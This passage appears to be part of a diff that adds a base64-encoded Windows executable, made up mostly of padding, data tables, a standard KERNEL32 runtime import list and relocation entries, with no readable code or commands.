+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAOBQQAAAAAAAAQAAAAAQAAAAAAAAAAAAALALQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAA4AtBAAAAAAAAAAAAAAAAAPgLQQAAAAAAAAAAAAAAAADIC0EAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAABQVUAA +AAAAAEMAAAAAAAAAtOFAAAAAAADwbUAAqOFAAJD5QABQq0AAnOFAAJD5QACgqEAAkOFAAJD5QACg +pUAAhOFAAJD5QAAwo0AAfOFAAJD5QADAm0AAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAABDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAEAAAAuAAAAAQAAAAAAAAAAAAAA0OFAAMDhQAD/////AAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAavtAAGr7QAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAg +ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA +EAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQAB +AAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIA +AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQA +AAAAAAAAjQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAA +wAgAAAAAAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAAwAAAAcAAAB4AAAACgAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAA +AACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPa +oyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsA +AAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAA +AAAAAAAAAIHT2N7g+QAAMX6B/gAAAAACAAAAcORAAAgAAABE5EAACQAAABjkQAAKAAAA9ONAABAA +AADI40AAEQAAAJjjQAASAAAAdONAABMAAABI40AAGAAAABDjQAAZAAAA6OJAABoAAACw4kAAGwAA +AHjiQAB4AAAAaOJAAHkAAABY4kAAegAAAEjiQAD8AAAAROJAAP8AAAA04kAAAAAAABCOQAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAMDqQAAABAAAtOpAAAkEAACg6kAACQQAAIzqQAAJBAAAgOpAAAkM +AAB46kAAEwgAAGzqQAAJEAAAaOpAAAQMAABk6kAABBAAAFzqQAAEBAAASOpAAAQMAAA06kAABAgA +ACDqQAAEEAAADOpAAAQEAAAI6kAABAgAAATqQAAEBAAAAOpAAAUEAAD46UAABQQAAPTpQAAGBAAA +7OlAAAYEAADo6UAABwwAAOTpQAAHCAAA4OlAAAcEAADY6UAAEwQAAMjpQAATCAAAxOlAAAgEAADA +6UAACQwAALzpQAAJEAAAuOlAAAkIAACw6UAACQQAAJzpQAAJBAAAkOlAAAkMAACE6UAACRAAAHjp +QAAJGAAAbOlAAAkUAABg6UAACQgAAFTpQAAJBAAASOlAAAkEAABE6UAACRgAAEDpQAAJBAAAPOlA +AAkUAAA46UAACggAADTpQAAKDAAAMOlAAAoEAAAs6UAACwQAACTpQAALBAAAIOlAAAwEAAAc6UAA +DAgAABjpQAAMDAAAEOlAAAwEAAAA6UAADAgAAPDoQAAMDAAA4OhAAAwQAADc6EAADBAAANToQAAH +BAAAxOhAAAcMAAC06EAABwgAAKzoQAAIBAAAqOhAAA4EAACc6EAADgQAAJDoQAAPBAAAgOhAAAkY +AAB86EAADwQAAHjoQAAQBAAAcOhAABAEAABg6EAAEAgAAFzoQAAQCAAAUOhAABEEAABM6EAAEQQA +AEjoQAASBAAAQOhAABIEAAA86EAAEwgAADjoQAATBAAANOhAABQIAAAw6EAAFAQAACToQAAUBAAA +EOhAABQEAAD850AAFAgAAPjnQAAVBAAA8OdAABUEAADk50AAFggAAMznQAAWBAAAyOdAABYEAADE +50AAFggAAMDnQAAZBAAAuOdAABkEAAC050AAGwQAAKznQAAbBAAApOdAAAoEAACU50AACggAAITn +QAAKDAAAgOdAAB0EAAB450AAHQQAAHDnQAAHCAAAbOdAAB8EAABk50AAHwQAAGDnQAAJCAAAXOdA +AAkEAABY50AACQQAAMDqQAAAAAAAUOdAAAEAAABM50AAPQAAAEDnQAA9AAAAOOdAACsAAAA050AA +KwAAADDnQAAgAAAAKOdAACAAAAAk50AANwAAABznQAA3AAAAFOdAACwAAAAQ50AAAgAAAAjnQAAC +AAAABOdAACkAAAD85kAAVgAAAPjmQABWAAAA9OZAACoAAAD46UAAKgAAAOzmQAAtAAAA4OlAADEA +AADo5kAALQAAAODmQAAsAAAAMOlAACIAAAAs6UAAZgEAANjmQABmAQAAIOlAACEAAADQ5kAAIQAA +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 +AAAAAAAWJgEAGCEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAJCQBABoiAQAmIgEAMiIBAEQiAQBQIgEA +XCIBAHIiAQCCIgEAkCIBAKQiAQC4IgEAyiIBANgiAQDmIgEAAiMBABojAQAyIwEASiMBAGgjAQB+ +IwEAjCMBAJgjAQCoIwEAtiMBAMIjAQDUIwEA4iMBAPQjAQACJAEAEiQBAAgiAQBAJAEAViQBAHAk +AQCGJAEAniQBALgkAQDSJAEA3iQBAOgkAQD0JAEAACUBABAlAQAgJQEAMCUBAEAlAQBUJQEAYiUB +AHIlAQCCJQEAlCUBAKYlAQC4JQEAyCUBANYlAQDiJQEA8iUBAAQmAQAAAAAAJCQBABoiAQAmIgEA +MiIBAEQiAQBQIgEAXCIBAHIiAQCCIgEAkCIBAKQiAQC4IgEAyiIBANgiAQDmIgEAAiMBABojAQAy +IwEASiMBAGgjAQB+IwEAjCMBAJgjAQCoIwEAtiMBAMIjAQDUIwEA4iMBAPQjAQACJAEAEiQBAAgi +AQBAJAEAViQBAHAkAQCGJAEAniQBALgkAQDSJAEA3iQBAOgkAQD0JAEAACUBABAlAQAgJQEAMCUB +AEAlAQBUJQEAYiUBAHIlAQCCJQEAlCUBAKYlAQC4JQEAyCUBANYlAQDiJQEA8iUBAAQmAQAAAAAA +iABGb3JtYXRNZXNzYWdlQQAAggFMb2NhbEZyZWUAWQFIZWFwRnJlZQAArgFSYWlzZUV4Y2VwdGlv +bgAAUwFIZWFwQWxsb2MAxwFSdGxVbndpbmQAQgJXaWRlQ2hhclRvTXVsdGlCeXRlAOEAR2V0TGFz +dEVycm9yAABiAEV4aXRQcm9jZXNzAB0CVGVybWluYXRlUHJvY2VzcwAAxABHZXRDdXJyZW50UHJv +Y2VzcwCfAEdldENvbW1hbmRMaW5lQQA3AUdldFZlcnNpb24AAFUBSGVhcENyZWF0ZQAAZAFJbml0 +aWFsaXplQ3JpdGljYWxTZWN0aW9uAEQARGVsZXRlQ3JpdGljYWxTZWN0aW9uAE8ARW50ZXJDcml0 +aWNhbFNlY3Rpb24AAHcBTGVhdmVDcml0aWNhbFNlY3Rpb24AABECU2V0VW5oYW5kbGVkRXhjZXB0 +aW9uRmlsdGVyAMcAR2V0Q3VycmVudFRocmVhZElkAAAiAlRsc1NldFZhbHVlAB8CVGxzQWxsb2MA +AP0BU2V0TGFzdEVycm9yAAAhAlRsc0dldFZhbHVlALgBUmVhZEZpbGUAAPgBU2V0RmlsZVBvaW50 +ZXIAABYAQ2xvc2VIYW5kbGUA+gFTZXRIYW5kbGVDb3VudAAA3ABHZXRGaWxlVHlwZQAWAUdldFN0 +ZEhhbmRsZQAAFAFHZXRTdGFydHVwSW5mb0EAJgJVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAOkA +R2V0TW9kdWxlRmlsZU5hbWVBAACLAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NBAJMBTXVsdGlCeXRl +VG9XaWRlQ2hhcgDQAEdldEVudmlyb25tZW50U3RyaW5ncwCMAEZyZWVFbnZpcm9ubWVudFN0cmlu +Z3NXANIAR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAmABHZXRDUEluZm8AkgBHZXRBQ1AAAPYAR2V0 +T0VNQ1AAAE8CV3JpdGVGaWxlAGwBSXNCYWRSZWFkUHRyAABvAUlzQmFkV3JpdGVQdHIAaQFJc0Jh +ZENvZGVQdHIAAAYCU2V0U3RkSGFuZGxlAACDAEZsdXNoRmlsZUJ1ZmZlcnMAACsAQ3JlYXRlRmls +ZUEAdQFMQ01hcFN0cmluZ0EAAHYBTENNYXBTdHJpbmdXAAAXAUdldFN0cmluZ1R5cGVBAAAaAUdl +dFN0cmluZ1R5cGVXAAADAUdldFByb2NBZGRyZXNzAAB4AUxvYWRMaWJyYXJ5QQAAXAFIZWFwUmVB +bGxvYwBdAUhlYXBTaXplAADvAVNldEVuZE9mRmlsZQAA4wBHZXRMb2NhbGVJbmZvQQAA5ABHZXRM +b2NhbGVJbmZvVwAAS0VSTkVMMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAACYAAAAtTDI +MOowIzE2MVYxcjGqMb0x4jEMMkMyVjIWM00zYDPmMx00MDSMNM40FzUoNZI1+DU0NkU2ZDagNrE2 +2TYmNzc3fDf3N/03Pjh3OIo4qDjhOPQ4MDmvOe45AToiOkk6gDqTOkU8WDx6PLM8xjzmPAI9Oj1N +PXE9mz3SPeU9kD7YPus+DD9EP1c/jD/hPwAAACAAAPAAAAAAMDcwVjCRMLAwGjFJMWIxcDEcMioy +fDKrMssy5zIRMy8z5TPwMww0OzRvNI40rzTONA01rTW4Ndw1AzYUNic2OTZVNmQ2jzagNr420zbv +Nhk3Nzd5N4E3pzeyN8434TeTOKM4szjDONk47zj1OP44GjkqOTo5SjlaOXY5fDmFOaE5sTnBOdE5 +5zn9OQM6DDozOjk6SjpbOnU6jDqSOpg60DrgOvA6ADsWOyw7Mjs7O1c7Zzt3O4c7lzuzO7k7wjve +O+47/jsOPCQ8OjxAPEk8ZTx1PIU8lTyuPMQ8yjzQPH89oT2sPb49ADAAAIgAAACzMLgw7jDzMDox +PzGnMawxYDQQNSw1MTVcNWE1hjWiNac1CDYNNmU2gDaTNqA2uzbONts28jYRNyg3NTdMN1k3VDhZ +OKw4sTjFOMo4+zgfOTI5lDmiOb051TkSO5g7rjvPO9s79jsGPBc8IzxbPJA8bD1zPYU92z0LPi8+ +PD5hPgBAAAB0AAAAUTC2MMAwVTH/MZMyzjLYMxk0gjScNKU0ojjAOPQ4Lzk8OWc5djm/Oc85/DkT +Oh86LTr+Oik7OjsCPAw8GDwhPCw8OjxEPFk8bDx0PIo8oDy/PNc88zwCPRs9Kj04PTk+VD4IPyQ/ +QT9gPwAAAFAAAMQAAACRMJwwoTCuMLMwCjEYMR8xJTE4MUAxSTFSMWUxbDFxMX4xgzGeMakxDDIR +MigyPTJDMkgyUzKCMocykTKbMrwywTLHMs0yMjNSM2szcDOCM4kzkTOZM6EzvDPxMxA0KjQxNEg0 +TzRWNHA0ojS4NL80xjTgNBI1MTU+NUQ1STV+NYY1mjWxNbg1yDXNNe419TUINic2RDZLNlI2cDZ3 +Noo2pjYiNz43uDfQN1s4rji4OK45uDlrOow/kT8AAABgAAB8AAAAHDEhMWwycTJsNHE0aDWANRY2 +KDZRNks3XDd4N7s30jeHOAQ5uDnQOVY6YDqZOiY7NjtqO3k7bjyMPJA8lDyYPJw8oDykPKg8rDyw +PBQ9Jj1BPV09Zj17PYQ9lT2bPag9rj09Pkk+Vj5rPlY/aD+EP84/1T8AcAAAvAAAAK8wtjDoMIsx +kjFWMvQyyTXmNf01UDbQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAOAQ4HDggOCQ4KDgsOGA4ZDho +OGw4cDh0OHg4fDiAOIQ4iDiMOJA4lDiYOJw4oDgcOiI6STpdOpM6mjq5Ouk68zoMOyY7RztwO347 +tzu+O+U76zsEPBc8RzxUPFk8fzyOPKA8sTzSPPE8DT03PUU9bz2FPaQ92z1EPl4+MD84P5U/sD8A +AACAAAAAAQAAijCQMLEwtzBmMYQxqjHdMfYxYTKLMpQymTKfMqoyDDMSM2szrzOSNLM09TT/NBA1 +IDUsNUo1mzXCNdg16TX5NQY2RjZrNrI28jYGNxQ3IjdaN3g3iDeaN7w32jfgN/83DDgROB84KDhO +OFM4Wjh8OMI41TjfOOo49Dj/OAg5IjkpOUg5TDlQOVQ5WDl0OYE5hjmMOZE5kTqgOrU62TrxOvo6 +DTsaOyM7STtWO6I7sDvxOyQ8WTx4PIg8kDyuPMc81jzcPOg8+jwXPR09JT0tPTI9Pj1+PZE9nD2h +PcI94j39PRw+IT6cPqE+vj4TP3E/tz/OP94/AAAAkAAAlAAAABkwQjBKMKgwuTDSMPIwATEQMVgx +aDGIMbEx9jEPMlcyfjKZMscy0zITMxgzHDMgMyQzeTOsM7AztDO4M7wzHzQ5NEk0hDSONOg0ADWY +NU82ejaWNqQ3GDgfOBU5tjnGOew59zn9OUk6eDt8O4A7hDuIO8I7DTwTPCE8Mjw6PD48QzxRPGI8 +eDyGPAAAAKAAAOAAAAA5M0AzSzNfM3MzhzOZM6cztTPJM88z1jPeM+Uz9TMHNBg0HjQmNCw0NTQ6 +NEM0UDRZNGE0bzR9NI40lDSaNKo0sjTINNs05DQHNRA1KDU3NUE1ojXuNfc1AjYONhQ2IzY0Njs2 +QzZMNlI2XDZgNmY2dDaFNp02PTivOLs4wjjKOFU5XTl+OSA6ajpwOnY6fjqNOpQ6mzqrOgw7EjsY +Ox07Kzs7O0A7JjxCPFI8cDyhPMM8/DwNPSE9Qj5RPlo+eT6GPp4+pz7APsU+8D4GPyE/YD96P68/ ++j8AsAAA7AAAABgwOTClMLYwvjDMMN4w6DDyMAgxDjE1MVAxbjG1Md0x/zFkMnYyfjKbMqMyvjLD +MtYy+jIRMygzVDNqM5cznjOkM68ztTO9M8YzzjPTM9sz4DPyM/wzFDRgNGY0gDSTNKY0sDS9Nd81 +ZjYvN1k3aTeKN7E34jfxNxI4KjgvOFQ4azh/OLA4zDj0OBI5ITlCOVo5XzmEOZs5rznnOQo6NTpe +OqU6rjoAO0k7UDtlO2s7lTubO6U7qzu1O7s7RjxLPGw8cjzYPNw84DzkPOg87DzwPPQ8JT1lPfU9 +Hz41PlQ+iz4AAADAAAAUAAAAgjCpMAAxCTFpMQAAAOAAAIAAAAAAMQQxLDEwMTwxQDFQMVgxXDFk +MWgxdDF4MQg1EDUUNSA1KDUsNXw8gDyUPJg8oDy8PNw87Dz0PBQ9JD0wPTg9aD18PYg9kD2sPbQ9 +0D3cPeQ98D34PRQ+MD48PkQ+UD5YPnQ+kD6cPqQ+sD64PtQ+8D78PgQ/AAAA8AAAWAAAAAQwEDAU +MCAwODBIMCw0MDQ4NFA00DXYNaw4xDjkOPQ4BDmIOZg5oDmkOag5rDmwObQ5uDm8OcA5xDnIOcw5 +0DnUOdg53DkwOzQ7YDtkOwAAAAABACACAAAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCU +MJwwpDD4MAAxCDEQMRgxIDEoMTAxODFAMUgxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAx +yDHQMdgx4DHoMfAx+DEAMggyEDIYMiAyKDIwMjgyQDJIMlAyWDJgMmgycDJ4MoAyiDKQMpgyoDKo +MrAyuDLAMsgy0DLYMuAy6DLwMvgyADMIMxAzGDMgMygzMDM4M0AzSDNQM1gzYDNoM3AzeDOAM4gz +kDOYM6AzqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRw +NHg0gDSINJA0mDSgNKg0sDS4NMA0yDTQNNg04DToNPA0+DQANQg1EDUYNSA1KDUwNTg1QDVINVA1 +WDVgNWg1cDV4NYA1iDWQNZg1oDWoNbA1uDXANcg10DXYNeA16DXwNfg1ADYINhA2GDYgNig2MDY4 +NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbwOPQ4+Dj8OAA5BDkwOTQ5ODk8OUA5 +RDlIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5gDmEOYg5jDmQOZQ5mDmcOaA5pDmoOaw5sDm0 +Obg5vDnAOcQ5yDnMOdA51DnYOdw58Dn0Ofg5/DkAOgQ6CDoMOhA6FDogOuA65DoAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 